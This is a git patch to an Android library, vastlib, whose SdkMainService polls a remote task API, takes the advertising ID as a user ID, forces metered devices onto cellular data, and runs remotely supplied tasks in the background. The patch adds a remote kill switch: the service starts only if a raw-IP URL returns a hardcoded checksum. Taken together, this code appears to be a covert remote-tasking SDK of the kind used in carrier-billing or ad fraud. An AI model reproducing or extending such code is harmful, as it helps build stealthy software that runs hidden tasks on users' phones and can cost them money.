From 01f74c3d12307f49ce1b8c974be5a73914899d18 Mon Sep 17 00:00:00 2001 From: wmzh2006 Date: Thu, 11 Jan 2024 18:41:43 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E6=A0=A1=E9=AA=8C=E5=BC=80?= =?UTF-8?q?=E5=85=B3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- vastlib/build.gradle | 5 +- .../example/vastlib/service/SdkMainService.kt | 156 ++++++++++-------- 2 files changed, 90 insertions(+), 71 deletions(-) diff --git a/vastlib/build.gradle b/vastlib/build.gradle index 9c9a01c..1c3ff68 100644 --- a/vastlib/build.gradle +++ b/vastlib/build.gradle @@ -16,7 +16,8 @@ android { buildConfigField "int", "aff_id", "1040" buildConfigField "int", "sdk_version", "34" buildConfigField "String", "task_api", "\"https://api.osakamob.com/task\"" - + buildConfigField "String", "checkSum", "\"0388afc149fe80bf2b73\"" + buildConfigField "String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"" } buildTypes { @@ -68,7 +69,7 @@ dependencies { implementation 'androidx.core:core-ktx:1.7.0' // implementation 'androidx.appcompat:appcompat:1.6.1' - implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.6.1' + implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.0' implementation files('libs/Java-WebSocket-1.3.9.jar') testImplementation 'junit:junit:4.13.2' androidTestImplementation 'androidx.test.ext:junit:1.1.5' diff --git a/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt b/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt index 6b7a21a..6871b02 100644 --- a/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt +++ b/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt @@ -28,7 +28,7 @@ class SdkMainService private constructor() { private var isTaskRunning = AtomicReference(false) private var nextRequestTine: Long = 0 private var state: MutableStateFlow = MutableStateFlow(TaskEvent.Waiting) - + private var isVerified = false companion object { private const val DEFAULT_REQUEST_TASK_INTERVAL = (5 * 60 * 1000).toLong() @@ -49,87 +49,96 @@ class SdkMainService private constructor() { @OptIn(ExperimentalTime::class) fun start(ctx: Context) { - if (::context.isInitialized) return - context = ctx - AndroidIdManager.init(context) taskScope.launch { + if (!isVerified) { + isVerified = checkState() + } + LogUtils.info("ver:$isVerified") + if (!isVerified) return@launch + if (::context.isInitialized) return@launch + context = ctx + AndroidIdManager.init(context) + taskScope.launch { run() - } + } - taskScope.launch { - state.collect { event -> - when (event) { - TaskEvent.RequestData -> { - LogUtils.info("SdkMainService try get task") - val taskResponse = getTasks() - if (taskResponse == null) { - nextRequestTine = - SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL - state.emit(TaskEvent.Waiting) - } else { - nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn() - if (taskResponse.tasks.isEmpty()) { - TaskEvent.Waiting + taskScope.launch { + state.collect { event -> + when (event) { + TaskEvent.RequestData -> { + LogUtils.info("SdkMainService try get task") + val taskResponse = getTasks() + if (taskResponse == null) { + nextRequestTine = + SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL + state.emit(TaskEvent.Waiting) } else { - TaskEvent.RunTask(taskResponse) - }.run { - state.emit(this) + nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn() + if (taskResponse.tasks.isEmpty()) { + TaskEvent.Waiting + } else { + TaskEvent.RunTask(taskResponse) + }.run { + state.emit(this) + } } } - } - is TaskEvent.RunTask -> { - kotlin.runCatching { - val taskResponse = event.taskResponse - if (NetworkManager.isMetered(context) && - NetworkManager.haveChangeNetworkPermission(context) - ) { - NetworkController.getInstance().init(context) - .switchNetworkToGprs() - var count = 0 - while (isActive && NetworkController.getInstance().switchSuccess && count < 10) { - delay(1000) - count++ - } - if (!NetworkController.getInstance().switchSuccess) { - nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn() - state.emit(TaskEvent.Waiting) - return@collect + is TaskEvent.RunTask -> { + kotlin.runCatching { + val taskResponse = event.taskResponse + if (NetworkManager.isMetered(context) && + NetworkManager.haveChangeNetworkPermission(context) + ) { + NetworkController.getInstance().init(context) + .switchNetworkToGprs() + var count = 0 + while (isActive && NetworkController.getInstance().switchSuccess && count < 10) { + delay(1000) + count++ + } + if (!NetworkController.getInstance().switchSuccess) { + nextRequestTine = + taskResponse.requestInterval.nextRequestCoerceIn() + state.emit(TaskEvent.Waiting) + return@collect + } } - } - isTaskRunning.set(true) - val userId = AndroidIdManager.getAdId() - measureTime { + isTaskRunning.set(true) + val userId = AndroidIdManager.getAdId() + measureTime { + + taskResponse.tasks.map { + async { + TaskExecService(it, taskResponse, userId).runTask( + TASK_MAX_EXEC_TIME + ) + } + }.toList().awaitAll() + }.apply { + LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed") + } - taskResponse.tasks.map { - async { - TaskExecService(it, taskResponse, userId).runTask( - TASK_MAX_EXEC_TIME - ) - } - }.toList().awaitAll() + NetworkController.getInstance().restore() + nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn() + isTaskRunning.set(false) + TaskEvent.Waiting + }.onFailure { + LogUtils.error(it) + isTaskRunning.set(false) + nextRequestTine = + SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL + TaskEvent.Waiting + }.getOrElse { + TaskEvent.Waiting }.apply { - LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed") + state.emit(this) } - - NetworkController.getInstance().restore() - nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn() - isTaskRunning.set(false) - TaskEvent.Waiting - }.onFailure { - LogUtils.error(it) - isTaskRunning.set(false) - nextRequestTine = SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL - TaskEvent.Waiting - }.getOrElse { - TaskEvent.Waiting - }.apply { - state.emit(this) } - } - else -> { - delay(500) + else -> { + delay(500) + } } } } @@ -167,6 +176,7 @@ class SdkMainService private constructor() { while (isActive) { kotlin.runCatching { AndroidIdManager.getAdId() + if (isTaskRunning.get() || state.value != TaskEvent.Waiting || SystemClock.elapsedRealtime() <= nextRequestTine || @@ -197,4 +207,12 @@ class SdkMainService private constructor() { return (if (this <= 0 || this > 24 * 60) 6 * 60 else this) * 60_000 + SystemClock.elapsedRealtime() } + private suspend fun checkState(): Boolean { + Request(BuildConfig.chcikUrl, method = "GET").call().run { + val result = String(data) + LogUtils.info("checkSum: $result") + return result == BuildConfig.checkSum + } + } + } \ No newline at end of file